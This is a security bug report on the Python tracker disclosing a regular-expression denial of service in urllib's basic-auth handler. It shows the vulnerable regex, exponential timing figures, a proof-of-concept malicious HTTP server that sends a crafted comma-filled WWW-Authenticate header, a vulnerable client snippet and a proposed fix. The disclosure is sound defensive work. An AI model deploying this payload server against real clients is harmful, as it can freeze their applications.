New submission from Ben Caller <bcal...@gmail.com>:
The regular expression urllib.request.AbstractBasicAuthHandler.rx is vulnerable to malicious inputs which cause denial of service (REDoS). The regex is: rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+' 'realm=(["\']?)([^"\']*)\\2', re.I) The first line can act like: (,*,)*(,+)[ \t] Showing that there are many different ways to match a long sequence of commas. Input from the WWW-Authenticate or Proxy-Authenticate headers of HTTP responses will reach the regex via the http_error_auth_reqed method as long as the header value starts with "basic ". We can craft a malicious input: urllib.request.AbstractBasicAuthHandler.rx.search( "basic " + ("," * 100) + "A" ) Which causes catastrophic backtracking and takes a large amount of CPU time to process. I tested the length of time (seconds) to complete for different numbers of commas in the string: 18 0.289 19 0.57 20 1.14 21 2.29 22 4.55 23 9.17 24 18.3 25 36.5 26 75.1 27 167 Showing an exponential relationship O(2^x) ! The maximum length of comma string that can fit in a response header is 65509, which would take my computer just 6E+19706 years to complete. Example malicious server: from http.server import BaseHTTPRequestHandler, HTTPServer def make_basic_auth(n_commas): commas = "," * n_commas return f"basic {commas}A" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(401) n_commas = ( int(self.path[1:]) if len(self.path) > 1 else 65509 ) value = make_basic_auth(n_commas) self.send_header("www-authenticate", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() Vulnerable client: import urllib.request opener = urllib.request.build_opener(urllib.request.HTTPBasicAuthHandler()) opener.open("http://localhost:44020/") As such, python applications using urllib.request may need to be careful not to visit malicious servers. I think the regex can be replaced with: rx = re.compile('basic[ \t]+realm=(["\']?)([^"\']*)\\2', re.I) - Ben ---------- components: Library (Lib) messages: 356785 nosy: bc priority: normal severity: normal status: open title: Regular Expression Denial of Service in urllib.request.AbstractBasicAuthHandler type: security versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker <rep...@bugs.python.org> <https://bugs.python.org/issue38826> _______________________________________ _______________________________________________ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com